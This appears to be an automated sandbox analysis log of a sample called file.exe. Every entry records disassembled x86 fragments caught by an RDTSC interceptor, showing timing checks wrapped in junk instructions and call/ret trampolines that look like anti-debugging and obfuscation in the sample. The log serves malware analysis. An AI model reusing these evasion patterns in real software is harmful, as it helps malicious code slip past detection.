Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADE24 second address: 4ADE2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADE2A second address: 4ADE6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ebx 0x0000000d jmp 00007FE4A9009D12h 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [eax] 0x00000015 push edx 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 ja 00007FE4A9009D06h 0x00000028 jmp 00007FE4A9009D0Fh 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADE6F second address: 4ADE74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADE74 second address: 4ADE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADE7A second address: 4ADEE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FE4A91B79E8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 xor ecx, 1D3CD17Eh 0x00000028 push 00000003h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007FE4A91B79E8h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 push 00000000h 0x00000046 mov dh, 01h 0x00000048 push 00000003h 0x0000004a sbb esi, 3124B3BBh 0x00000050 push 9FE59DF3h 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 push esi 0x00000059 pop esi 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADEE2 second address: 4ADF02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADF02 second address: 4ADF3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 xor dword ptr [esp], 5FE59DF3h 0x0000000d mov dword ptr [ebp+122D2A91h], ecx 0x00000013 lea ebx, dword ptr [ebp+124528ECh] 0x00000019 movzx esi, di 0x0000001c xchg eax, ebx 0x0000001d pushad 0x0000001e jmp 00007FE4A91B79F0h 0x00000023 push edx 0x00000024 push edx 0x00000025 pop edx 0x00000026 pop edx 0x00000027 popad 0x00000028 push eax 0x00000029 pushad 0x0000002a push ebx 0x0000002b pushad 0x0000002c popad 0x0000002d pop ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 pop eax 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC60E second address: 4CC617 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC93F second address: 4CC945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CCAD4 second address: 4CCADA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CCC1D second address: 4CCC2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007FE4A91B79ECh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CCC2A second address: 4CCC2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CCC2E second address: 4CCC3A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE4A91B79EEh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CCC3A second address: 4CCC49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FE4A9009D2Bh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CCC49 second address: 4CCC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD37E second address: 4CD384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD384 second address: 4CD388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2AD5 second address: 4C2B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A9009D16h 0x00000009 popad 0x0000000a jmp 00007FE4A9009D0Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007FE4A9009D06h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2B02 second address: 4C2B06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2B06 second address: 4C2B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE1E7 second address: 4CE1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FE4A91B79E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE1F4 second address: 4CE1F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE365 second address: 4CE369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE369 second address: 4CE379 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE627 second address: 4CE62B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0F68 second address: 4D0F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49919F second address: 4991A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4991A7 second address: 4991C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE4A9009D12h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4991C1 second address: 4991DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE4A91B79F6h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4991DD second address: 4991F0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE4A9009D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b je 00007FE4A9009D06h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490BC1 second address: 490BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8B5D second address: 4D8B64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8C94 second address: 4D8C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8C9A second address: 4D8CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FE4A9009D0Eh 0x0000000b pushad 0x0000000c popad 0x0000000d jnp 00007FE4A9009D06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8CAD second address: 4D8CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE4A91B79F6h 0x00000009 jmp 00007FE4A91B79EDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB8A8 second address: 4DB8B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DBB8A second address: 4DBB93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DBB93 second address: 4DBB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DBB97 second address: 4DBBBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FE4A91B79F9h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DBBBD second address: 4DBBC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DBBC1 second address: 4DBBC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DBE1B second address: 4DBE1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DBE1F second address: 4DBE33 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jg 00007FE4A91B79E6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC674 second address: 4DC6A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A9009D14h 0x00000009 popad 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e mov edi, 2D20D8C4h 0x00000013 nop 0x00000014 pushad 0x00000015 jo 00007FE4A9009D0Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC6A0 second address: 4DC6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A91B79F5h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC850 second address: 4DC854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DCA31 second address: 4DCA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DCAFE second address: 4DCB0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DCCA8 second address: 4DCCAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DDB61 second address: 4DDBCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D1DC5h], edx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007FE4A9009D08h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov esi, dword ptr [ebp+122D34FCh] 0x00000034 sub edi, 55E9A2A2h 0x0000003a push 00000000h 0x0000003c mov si, 3559h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FE4A9009D0Fh 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD9FB second address: 4DDA05 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE4A91B79E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DDBCA second address: 4DDBD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE4A9009D0Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DED2A second address: 4DED2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF6E9 second address: 4DF6FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE4A9009D11h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF6FE second address: 4DF702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFF48 second address: 4DFF4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFF4C second address: 4DFF50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0D73 second address: 4E0DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jp 00007FE4A9009D0Ch 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 mov edi, dword ptr [ebp+122D1DE1h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FE4A9009D08h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 add edi, 1D563B04h 0x0000003d pushad 0x0000003e call 00007FE4A9009D0Dh 0x00000043 mov cx, dx 0x00000046 pop edx 0x00000047 js 00007FE4A9009D0Ch 0x0000004d popad 0x0000004e push 00000000h 0x00000050 push ecx 0x00000051 pop esi 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push edi 0x00000056 pushad 0x00000057 popad 0x00000058 pop edi 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0ABB second address: 4E0ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFF50 second address: 4DFF56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0DDC second address: 4E0DE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0ABF second address: 4E0AC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0AC3 second address: 4E0AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0AC9 second address: 4E0AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE4A9009D06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0AD3 second address: 4E0AE4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE4A91B79E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E37A3 second address: 4E37AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3DC8 second address: 4E3DD2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE4A91B79E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3DD2 second address: 4E3DD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4EEE second address: 4E4F13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FE4A91B79E8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9DAF second address: 4E9E36 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE4A9009D08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007FE4A9009D0Ah 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FE4A9009D08h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 mov ebx, dword ptr [ebp+122D1F14h] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007FE4A9009D08h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 jl 00007FE4A9009D0Bh 0x00000058 sub di, AD50h 0x0000005d push 00000000h 0x0000005f stc 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push ecx 0x00000064 jmp 00007FE4A9009D10h 0x00000069 pop ecx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9E36 second address: 4E9E3B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ECC74 second address: 4ECC80 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDC8E second address: 4EDCA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDCA6 second address: 4EDD00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A9009D14h 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FE4A9009D08h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov ebx, dword ptr [ebp+122D2854h] 0x0000002c push 00000000h 0x0000002e mov di, ax 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D2A21h], ebx 0x00000039 xchg eax, esi 0x0000003a push eax 0x0000003b push edx 0x0000003c jns 00007FE4A9009D08h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDD00 second address: 4EDD0E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EED24 second address: 4EED91 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE4A9009D0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jc 00007FE4A9009D1Bh 0x00000011 jmp 00007FE4A9009D15h 0x00000016 push 00000000h 0x00000018 jns 00007FE4A9009D0Ch 0x0000001e mov dword ptr [ebp+122D3505h], ebx 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FE4A9009D08h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000018h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FE4A9009D0Eh 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EED91 second address: 4EED9B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE4A91B79ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0CC8 second address: 4F0CCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6F72 second address: 4E6F7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0CCE second address: 4F0CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0CD4 second address: 4F0CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A91B79F8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1306 second address: 4F130A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80E2 second address: 4E80EC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE4A91B79E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80EC second address: 4E80FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
